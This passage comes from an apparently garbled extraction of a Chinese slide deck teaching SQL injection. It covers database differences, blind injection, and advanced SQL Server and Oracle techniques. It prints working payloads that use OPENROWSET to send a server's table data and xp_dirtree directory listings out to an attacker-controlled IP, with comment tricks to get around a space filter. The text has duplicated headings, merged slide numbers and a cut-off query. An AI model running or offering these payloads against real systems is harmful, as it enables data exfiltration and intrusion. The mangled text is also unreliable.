56、數據庫有差異,最好有速查手冊。最好有速查手冊。 二分法盲注入示例二分法盲注入示例100各系統(tǒng)的區(qū)別(字符串處理)各系統(tǒng)的區(qū)別(字符串處理)MS SQLMySQLAccessOracle長度len(abc)=3length(abc)=3len(abc)=3length(abc)=3截取左右left(abc,2)=abright (abc,2)=bcleft(abc,2)=abright (abc,2)=bcleft(abc,2)=abright (abc,2)=bc用substr代替截取中間substring(abc,2,1)=bsubstring(abc,2,1)=bmid(abc,2,1)=

57、bmid(abc,2,1)=bsubstr (abc,2,1)=b字符串連接 + concat ( , ) & | 101各系統(tǒng)的區(qū)別(二)各系統(tǒng)的區(qū)別(二)MS SQLMySQLAccessOracle聯(lián)合查詢YN4.0Y 4.0YY子查詢YN4.1Y 4.1NY多句查詢YNNN默認存儲過程非常多NN非常多102高級高級SQL注入:利用數據庫的高級特性注入:利用數據庫的高級特性上述語句僅限于SQL Server:黑客在本地運行SQL Server,并創(chuàng)建一個與服務器端target_table結構一樣的表my_table,就可以利用此命令將服務器表的數據全部導到本地;其中sa:Pass123是

58、黑客SQL Server的登錄信息,myIP是黑客的IP地址,80是SQL Server端口(缺省情況下不是80,這樣是方便反彈連接)Bubble; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from my_table)select * from target_table-103高級高級SQL注入:利用數據庫的高級特性注入:利用數據庫的高級特性上述語句僅限于SQL Server:在服務器端創(chuàng)建temp_table6后,黑客利用此實例所示的xp_dirt

59、ree功能查看c:inetpub下的文件列表,并導出到黑客本地的temp_table6中;可以更換c:inetpub這個參數為其他目錄,反復使用此語句,從而對服務器文件目錄有全面了解。采用/*/作為分割符的原因是這個注入點過濾了空格。Bubbledelete/*/from/*/temp_table6;insert/*/into/*/temp_table6/*/exec/*/master.dbo.xp_dirtree/*/c:inetpub;insert/*/into/*/OPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Addres

60、s=myIP,80;,select/*/*/*/from/*/temp_table6)select/*/*/*/from/*/temp_table6;-104高級高級SQL注入:利用數據庫的高級特性注入:利用數據庫的高級特性上述語句僅限于Oracle 9i及其以上版本:第一句查詢當前數據庫表中的用戶表(非系統(tǒng)表),并獲取排名最前的一個,假設返回結果為SYS_GN。第二句查詢將所有的用戶表名連接為一個字符串輸出,適合于只有一個回顯點時探測數據庫結構。Bubbleselect table_name from user_tables order by table_name;select max(sy

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論